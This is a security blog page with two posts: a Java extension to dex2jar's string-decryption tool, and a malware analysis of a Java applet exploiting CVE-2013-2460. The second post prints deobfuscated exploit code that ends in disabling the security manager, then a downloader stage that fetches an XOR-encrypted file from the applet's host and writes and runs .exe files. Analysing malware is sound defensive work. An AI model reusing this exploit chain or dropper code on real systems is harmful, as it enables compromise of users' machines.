Tuesday, October 28, 2014

An extension of dex2jar's string decryption utility

Dex2jar is a popular open source tool, mainly used to convert Dalvik bytecode (.dex files) to Java bytecode (.jar or .class files); it acts as a sort of bridge between Android and Java environments.

Besides the bytecode conversion feature, dex2jar offers various utilities which help to deal with obfuscated Java code. Among others, a string decryption tool is provided. In brief, the tool works by accepting a user-supplied decryption routine, and then executes the routine every time it is called within the protected application. Since the decryption routine's output is, in fact, a decrypted string, dex2jar patches the bytecode by replacing all routine's invocations with decrypted strings. Although locating the decryption routine(s) is left to the analyst, this tool helps in obtaining a functionally equivalent unencrypted Java application.

However, its capabilities are rather limited. Indeed, it is only able to manage decryption functions which accept a single String or int parameter. As a consequence, a minimal variation of the decryption routine may make this tool ineffective. For example, as for October 2014, DashO Pro obfuscator provides string encryption by using both a String and an int parameter (or, sometimes, three parameters: int, int and String); dex2jar is unable to remove the protection because of multiple parameters. Custom decryption functions may cause trouble as well.

As a solution, I extended dex2jar's string decryption utility in order to make it applicable to a wider range of cases. In particular, boolean, byte, char and double parameters are now supported, besides String and int ones. Additionally, an arbitrary number of parameters is allowed, thus making possible to deal with more complex decryption routines, such as DashO Pro's ones. All the modifications affect a single source file, DecryptStringCmd.java, and no new dependency has been added.

UPDATE: These changes have now been merged with the current version of dex2jar. An updated description of its string decryption capabilities can be found here.

/* * dex2jar - Tools to work with android .dex and java .class files * Copyright (c) 2009-2012 Panxiaobo * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.googlecode.dex2jar.tools; import java.io.File; import java.io.IOException; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import org.apache.commons.io.FilenameUtils; import org.apache.commons.io.IOUtils; import org.objectweb.asm.ClassReader; import org.objectweb.asm.ClassWriter; import org.objectweb.asm.Opcodes; import org.objectweb.asm.Type; import org.objectweb.asm.tree.AbstractInsnNode; import org.objectweb.asm.tree.ClassNode; import org.objectweb.asm.tree.InsnList; import org.objectweb.asm.tree.InsnNode; import org.objectweb.asm.tree.IntInsnNode; import org.objectweb.asm.tree.LdcInsnNode; import org.objectweb.asm.tree.MethodInsnNode; import org.objectweb.asm.tree.MethodNode; import p.rn.util.FileOut; import p.rn.util.FileOut.OutHandler; import p.rn.util.FileWalker; import p.rn.util.FileWalker.StreamHandler; import p.rn.util.FileWalker.StreamOpener; import com.googlecode.dex2jar.tools.BaseCmd.Syntax; @Syntax(cmd = "uberdecrpyt", syntax = "[options] <jar>", desc = "Decrypts strings in a class file.\nExtended version of d2j-decrpyt-string.\n", onlineHelp = "https://code.google.com/p/dex2jar/wiki/DecryptStrings") public class DecryptStringCmd extends BaseCmd { public static void main(String[] args) { new DecryptStringCmd().doMain(args); } @Opt(opt = "f", longOpt = "force", hasArg = false, description = "force overwrite") private boolean forceOverwrite = false; @Opt(opt = "o", longOpt = "output", description = "output of .jar files, default is $current_dir/[jar-name]-decrypted.jar", argName = "out") private File output; @Opt(opt = "mo", longOpt = "decrypt-method-owner", description = "the owner of the mothed which can decrypt the stings, example: java.lang.String", argName = "owner") private String methodOwner; @Opt(opt = "mn", longOpt = "decrypt-method-name", description = "the owner of the mothed which can decrypt the stings, the method's signature must be static (type)Ljava/lang/String;", argName = "name") private String methodName; @Opt(opt = "cp", longOpt = "classpath", description = "add extra lib to classpath", argName = "cp") private String classpath; //extended parameter option: e.g. '-t int,byte,string' for decryptionRoutine(int a, byte b, String c) @Opt(opt = "t", longOpt = "arg-types", description = "comma-separated list of types:int,string,boolean,byte,char,double.Default is string", argName = "type") private String type = "string"; private String[] type_list; @Override protected void doCommandLine() throws Exception { if (remainingArgs.length != 1) { usage(); return; } File jar = new File(remainingArgs[0]); if (!jar.exists()) { System.err.println(jar + " is not exists"); return; } if (methodName == null || methodOwner == null) { System.err.println("Please set --decrypt-method-owner and --decrypt-method-name"); return; } if (output == null) { if (jar.isDirectory()) { output = new File(jar.getName() + "-decrypted.jar"); } else { output = new File(FilenameUtils.getBaseName(jar.getName()) + "-decrypted.jar"); } } if (output.exists() && !forceOverwrite) { System.err.println(output + " exists, use --force to overwrite"); return; } System.err.println(jar + " -> " + output); List<String> list = new ArrayList<String>(); if (classpath != null) { list.addAll(Arrays.asList(classpath.split(";|:"))); } list.add(jar.getAbsolutePath()); URL[] urls = new URL[list.size()]; for (int i = 0; i < list.size(); i++) { urls[i] = new File(list.get(i)).toURI().toURL(); } final Method jmethod; final String targetMethodDesc; try { //type is a comma-separated list of the decryption method's parameters type_list = type.split(","); //switch for all the supported types. String is default Class<?>[] argTypes = new Class<?>[type_list.length]; for (int i=0; i < type_list.length; i++) { switch (type_list[i]) { case "int": argTypes[i] = int.class; break; case "boolean": argTypes[i] = boolean.class; break; case "byte": argTypes[i] = byte.class; break; case "char": argTypes[i] = char.class; break; case "double": argTypes[i] = double.class; break; case "string": default: argTypes[i] = String.class; break; } } URLClassLoader cl = new URLClassLoader(urls); jmethod = cl.loadClass(methodOwner).getDeclaredMethod(methodName, argTypes); jmethod.setAccessible(true); targetMethodDesc = Type.getMethodDescriptor(jmethod); } catch (Exception ex) { System.err.println("can't load method: String " + methodOwner + "." + methodName + "(" + type + ")"); ex.printStackTrace(); return; } final String methodOwnerInternalType = this.methodOwner.replace('.', '/'); final OutHandler fo = FileOut.create(output, true); try { new FileWalker().withStreamHandler(new StreamHandler() { @Override public void handle(boolean isDir, String name, StreamOpener current, Object nameObject) throws IOException { if (isDir || !name.endsWith(".class")) { fo.write(isDir, name, current == null ? null : current.get(), nameObject); return; } ClassReader cr = new ClassReader(current.get()); ClassNode cn = new ClassNode(); cr.accept(cn, ClassReader.EXPAND_FRAMES); for (Object m0 : cn.methods) { MethodNode m = (MethodNode) m0; if (m.instructions == null) { continue; } AbstractInsnNode p = m.instructions.getFirst(); while (p != null) { if (p.getOpcode() == Opcodes.INVOKESTATIC) { MethodInsnNode mn = (MethodInsnNode) p; if (mn.name.equals(methodName) && mn.desc.equals(targetMethodDesc) && mn.owner.equals(methodOwnerInternalType)) { AbstractInsnNode q = p.getPrevious(); AbstractInsnNode next = p.getNext(); //arguments' list. it is now filled by reading bytecode backwards, //starting from the INVOKESTATIC statement Object[] arg_list = new Object[type_list.length]; //instructions' list. all the instructions to be deleted, //in order to substitute them with the decrypted string's LDC AbstractInsnNode[] instr_list = new AbstractInsnNode[arg_list.length + 1]; instr_list[instr_list.length - 1] = p; //each parameter's value is retrieved by reading bytecode backwards for (int i = arg_list.length - 1; i >= 0; i--) { //LDC: String and double cases (Opcodes.LDC comprehends LDC_W and LDC2_W. //The latter is used by double values) if (q.getOpcode() == Opcodes.LDC) { LdcInsnNode ldc = (LdcInsnNode) q; arg_list[i] = ldc.cst; instr_list[i] = q; //INT_INSN ("instruction with a single int operand", //e.g. BIPUSH and SIPUSH): int and byte cases, if the pushed value is > 5 } else if (q.getType() == AbstractInsnNode.INT_INSN) { IntInsnNode in = (IntInsnNode) q; arg_list[i] = in.operand; instr_list[i] = q; //ICONST_*: used by int, boolean and byte, if the pushed value is < 6 } else { switch (q.getOpcode()) { case Opcodes.ICONST_M1: case Opcodes.ICONST_0: case Opcodes.ICONST_1: case Opcodes.ICONST_2: case Opcodes.ICONST_3: case Opcodes.ICONST_4: case Opcodes.ICONST_5: int x = ((InsnNode) q).getOpcode() - Opcodes.ICONST_0; arg_list[i] = x; instr_list[i] = q; break; } } q = q.getPrevious(); } //All the parameters' values have been retrieved. //tryReplace invokes the decryption function and patches the bytecode tryReplace(m.instructions, instr_list, jmethod, arg_list, type_list); p = next; continue; } } p = p.getNext(); } } ClassWriter cw = new ClassWriter(0); cn.accept(cw); fo.write(false, cr.getClassName() + ".class", cw.toByteArray(), null); } }).walk(jar); } finally { IOUtils.closeQuietly(fo); } } public static AbstractInsnNode tryReplace(InsnList instructions, AbstractInsnNode[] instr_list, Method jmethod, Object[] args, String[] arg_types) { try { Object[] fixed_args = new Object[args.length]; //a cast is needed for char, boolean and byte values: //in these cases, the passed object is, in fact, an Integer. for (int i=0; i < arg_types.length; i++) { switch (arg_types[i]) { case "char": Method method = args[i].getClass().getMethod("intValue", null); fixed_args[i] = (char) (int) method.invoke(args[i], null); break; case "boolean": Method method2 = args[i].getClass().getMethod("intValue", null); fixed_args[i] = ((int) method2.invoke(args[i], null) == 0) ? false : true; break; case "byte": Method method3 = args[i].getClass().getMethod("byteValue", null); fixed_args[i] = (byte) method3.invoke(args[i], null); break; //String and double. since they are objects obtained via LDCs, no cast is needed. default: fixed_args[i] = args[i]; break; } } String newValue = (String) jmethod.invoke(null, fixed_args); LdcInsnNode nLdc = new LdcInsnNode(newValue); //insertion of the decrypted string's LDC statement, //before INVOKESTATIC statement (last element of instr_list array) instructions.insertBefore(instr_list[instr_list.length - 1], nLdc); //removal of INVOKESTATIC and previous push statements for (AbstractInsnNode instr : instr_list) { instructions.remove(instr); } return nLdc.getNext(); } catch (Exception e) { // ignore } return null; } }

Friday, October 3, 2014

Analysis of a Java malicious applet that uses CVE-2013-2460 exploit

The analysed sample is a JavaFX serialized applet based on CVE-2013-2460 exploit.
Its MD5 is 43a00a7396cfe8bfdf7ef8ec2008e898.
The applet can be successfully decompiled by using Procyon decompiler, which outputs the following source files.
/root_dir/ | |__/Dt/ | |__Paor.java | |__/i/ | |__Tsh.java | |__Tv.java | |__/vo/ | |__Taspom.java | |__Tvo.java | |__Coder.java |__Main.java |__Ni.java
The entry point of the application is the method Main.start().
public void start(final Stage paramStage) throws Exception { try { Main.Ijt = this.getHostServices().getCodeBase(); Deppv(); final ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); Deppv(); Main.arrayOfByte = new byte[8192]; Deppv(); Deppv(); final InputStream localInputStream = this.getClass().getResourceAsStream("/vo/Taspom.class"); Deppv(); final String b = Taspom.Nosik("sun.1rg.mozilla.javascript.internal.Generat2d") + Paor.cls + "Loader"; Deppv(); Deppv(); Deppv(); int i; while ((i = localInputStream.read(Main.arrayOfByte)) > 0) { Deppv(); localByteArrayOutputStream.write(Main.arrayOfByte, 0, i); } Deppv(); Main.arrayOfByte = localByteArrayOutputStream.toByteArray(); Deppv(); localByteArrayOutputStream.close(); Deppv(); Deppv(); localInputStream.close(); Deppv(); Deppv(); final ProviderFactory localProviderFactory = ProviderFactory.getDefaultFactory(); Deppv(); this.invoc = Proxy.getInvocationHandler(Coder.Lol(localProviderFactory)); this.Fovon(2, b); } catch (Throwable t) {} }
Minor obfuscation can be observed. Some strings are modified by substituting some of their characters with numbers. Function Taspom.Nosik(String) is the "decryption" routine.
public static String Nosik(final String src) { String res = ""; for (int i = 0; i < src.length(); ++i) { if (src.charAt(i) == '1') { res += "o"; } else if (src.charAt(i) == '2') { res += "e"; } else if (src.charAt(i) == '5') { res += "m"; } else if (src.charAt(i) == '8') { res += "a"; } else { res += src.charAt(i); } } return res; }
A bogus function, Deppv(), is scattered across the code, doing nothing more than declaring and initializing a float variable to a static value.
public static void Deppv() { final Double f = 3.232; }
It can be reasonably assumed that the obfuscation's goal is more to hinder an automatic analysis rather than a manual approach.
Once executed, the applet stores in Main.Ijt its code base, that is, the path in which the applet is saved. It is later used to refer to payload files, which are stored on the same path as the applet's.


Exploit

CVE-2013-2460 exploit affects Java 7u21 and earlier versions; it is based on an insecure use of java.lang.reflect.Method.invoke(Object obj, Object... args) method within sun.tracing.ProviderSkeleton.invoke(Object proxy, Method method, Object[] args) method. Indeed, no check is performed on the invoked methods, and, since this class is privileged, it can be leveraged to invoke a static user-provided method that changes the applet's security settings (e.g. disable the security manager). As a consequence, arbitrary code can then be executed.
This vulnerability has been described and exploited by Security Explorations in 2012; they refer to it as "Issue #61". A ready-to-use PoC is provided by Security Explorations. However, although an unobfuscated PoC does exist, I extracted and deobfuscated the exploit's code from the malicious applet as an exercise.

The exploitation begins by creating an instance of the privileged class that owns the vulnerable method. The object is obtained through a call to createProvider() static method, that is performed by using com.sun.tracing.ProviderFactory class. An interface (Ni.class) is provided as a parameter. The interface does not add any functionality and, as a consequence, a sun.tracing.NullProvider object is obtained as result. Since NullProvider's superclass is sun.tracing.ProviderSkeleton, this object is able to execute the vulnerable invoke() method of its superclass. An invocation handler is then obtained from the NullProvider object. The invoc object can be used to invoke methods with NullProvider's privileges.
public interface Ni extends Provider {} final ProviderFactory localProviderFactory = ProviderFactory.getDefaultFactory(); Class pf = Class.forName("com.sun.tracing.ProviderFactory"); Provider provider = pf.getMethods()[1].invoke(localProviderFactory, Ni.class); //createProvider() InvocationHandler invoc = Proxy.getInvocationHandler(provider);
The exploit's goal is to access restricted classes in order to load and execute user-provided code in a privileged manner. To accomplish that, references to these classes, along with references to their methods, have to be obtained. By using the privileged object invoc, a call to forName() method is performed.
final Method localMethod2 = Class.class.getMethod("forName", String.class); final Class localClass3 = (Class)invoc.invoke(null, localMethod2, new Object[] {"sun.org.mozilla.javascript.internal.Context"}); final Class localClass4 = (Class)invoc.invoke(null, localMethod2, new Object[] {"sun.org.mozilla.javascript.internal.GeneratedClassLoader"});
A Lookup object is created in order to obtain method's references, by using the vulnerable class as a proxy. Methods Lookup.findStatic() and Lookup.findVirtual() are used. A convenience routine is used to perform the lookup for all three methods.
public static MethodHandle getMethodHandle(final Class c, final String name, final Class c2, final Class[] ca, final boolean isstatic) throws Exception { final MethodType localMethodType = MethodType.methodType(c2, ca); Class localClass = Class.forName("java.lang.invoke.MethodHandles$Lookup"); if (isstatic) { Method findstatic = localClass.getMethod("findStatic", Class.class, String.class, MethodType.class); return (MethodHandle)findstatic.invoke(look, c, name, localMethodType); } else { Method findvirtual = localClass.getMethod("findVirtual", Class.class, String.class, MethodType.class); return (MethodHandle)findvirtual.invoke(look, c, name, localMethodType); } } //a Lookup object is obtained final Method localMethod1 = Class.forName("java.lang.invoke.MethodHandles").getMethod("lookup", new Class[0]); look = invoc.invoke(null, localMethod1, new Object[0]); look = Class.forName("java.lang.invoke.MethodHandles$Lookup").cast(look); //methods' references are obtained by using the convenience routine getMethodHandle() final MethodHandle localMethodHandle1 = getMethodHandle(localClass3, "enter", localClass3, new Class[0], true); final MethodHandle localMethodHandle2 = getMethodHandle(localClass3, "createClassLoader", localClass4, new Class[] { Class.forName("java.lang.ClassLoader") }, false); final MethodHandle localMethodHandle3 = getMethodHandle(localClass4, "defineClass", Class.class, new Class[] { String.class, byte[].class }, false);
One difference can be observed between this malware's exploit and the PoC provided by Security Explorations. Indeed, their call to sun.org.mozilla.javascript.internal.DefiningClassLoader.defineClass() is replaced here by a call to sun.org.mozilla.javascript.internal.GeneratedClassLoader.defineClass(). However, this difference does not affect the exploit's effectiveness, since it works both ways.

Finally, a new classloader is defined within the current context, and a custom class (vo.Taspom) is loaded into it as a byte array.
//invocation of sun.org.mozilla.javascript.internal.Context.enter() final Object localObject1 = localMethodHandle1.invoke(); //invocation of sun.org.mozilla.javascript.internal.Context.createClassLoader() final Object localObject2 = localMethodHandle2.invoke(localObject1, (Void)null); //invocation of sun.org.mozilla.javascript.internal.GeneratedClassLoader.defineClass() final Class localClass = (Class)localMethodHandle3.invoke(localObject2, "vo.Taspom", arrayOfByte); //the auxiliary class is executed localClass.newInstance();
Since the auxiliary class disables the security manager, it is now possible to execute arbitrary code at system level.
package vo; import java.security.*; //auxiliary class provided as a byte array public class Taspom implements PrivilegedExceptionAction { public Taspom() { super(); try { AccessController.doPrivileged((PrivilegedExceptionAction<Object>)this); } catch (Exception ex) {} } public Object run() { try { System.setSecurityManager(null); } catch (Exception ex) {} return null; } }

Payload

Once exploitation is completed, a byte array is written into a .class file and then executed. Firstly, the byte array is reversed and decoded.
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; String ftuc = new StringBuilder("=UGACAAAAQGABAgVAAAABAgBAAAA[...]AuAgCmBwLAoQuAEDAAAgv").reverse().toString(); final byte[] arrayOfByte = Base64.decode("yv66".concat(ftuc));
Then, the byte stream is written into a file called Interface.class, within the system's temp directory.
tmp = System.getProperty("java.io.tmpdir"); final Class fos = Class.forName("java.io.FileOutputStream"); final Object localObject = fos.getConstructor(String.class).newInstance(tmp + "Interface.class"); Method write = fos.getMethod("write", byte[].class, Integer.TYPE, Integer.TYPE); write.invoke(localObject, arrayOfByte, 0, arrayOfByte.length); fos.getMethods()[3].invoke(localObject, new Object[0]); //localObject.close()
The application's code base is retrieved as soon as the applet starts. It is then passed to the payload .class file as a parameter. Main.Ijt = this.getHostServices().getCodeBase(); //payload class is launched: typically the command is 'javaw -cp c:\temp\Interface <codeBase>' Runtime.getRuntime().exec("javaw -cp " + tmp + " Interface " + Main.Ijt.toString());
The byte stream which acts as a payload can be easily copied into a file and then decompiled, without having to execute the applet's code.
The entry point of Interface.class is its main() method. Some data is read from an mp3 file, which is located in the applet's code base. //current time, e.g. "223306" for 06:22:33 String name = (new SimpleDateFormat("mmssHH")).format(Calendar.getInstance().getTime()); ByteArrayOutputStream bais = new ByteArrayOutputStream(); BufferedInputStream in = null; byte[] ar; int xcvnwe; //it reads the content of a mp3 file, storing it in bais try { //the mp3 file is in the same path of the jar application (its code base) in = new BufferedInputStream((new URL(args[0] + name + ".mp3")).openStream()); ar = new byte[1024]; while ((xcvnwe = in.read(ar)) > 0) bais.write(ar, 0, xcvnwe); } finally { if (in != null) in.close(); }
The resulting byte stream is then XOR decrypted, by means of Tenui() routine. //XOR decryption routine public static byte[] Tenui(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) { byte[] arrayOfByte = new byte[paramArrayOfByte1.length]; for(int i = 0; i < paramArrayOfByte1.length; ++i) arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[i % paramArrayOfByte2.length]); return arrayOfByte; } ar = Tenui(bais.toByteArray(), "m3S4V".getBytes());
Depending on the byte array's data, one of two possible actions is undertaken: in the first case, data is written into an .exe file which is then executed. In the second case, data is splitted between two different .exe files. Both of them are then executed. //xcvnwe's value depends on the byte array xcvnwe = Ulma(ar, "c3j2S".getBytes()); byte[][] fasx = new byte[2][]; if(xcvnwe == -5) { //writes a subset of ar's data in the exe file and executes it Suhra(ar, name); } else { //splits the data between the first exe file and a second one (called e.g. "2233"), and executes them fasx[0] = Arrays.copyOfRange(ar, 0, xcvnwe); fasx[1] = Arrays.copyOfRange(ar, xcvnwe + 5, ar.length); String name1 = (new SimpleDateFormat("mmss")).format(Calendar.getInstance().getTime()); Suhra(fasx[0], name); Suhra(fasx[1], name1); } //the "launcher" routine public static void Suhra(byte[] ar, String name) throws Exception { String ss = System.getProperty("java.io.tmpdir") + name + ".exe"; FileOutputStream fout = new FileOutputStream(ss); fout.write(ar); fout.close(); Runtime r = Runtime.getRuntime(); r.exec(ss); }
Since the mp3 file was not bundled along with the applet, no further analysis is possible. However, this sample made possible to study both the exploit and some inner workings of a two-stage-payload malware.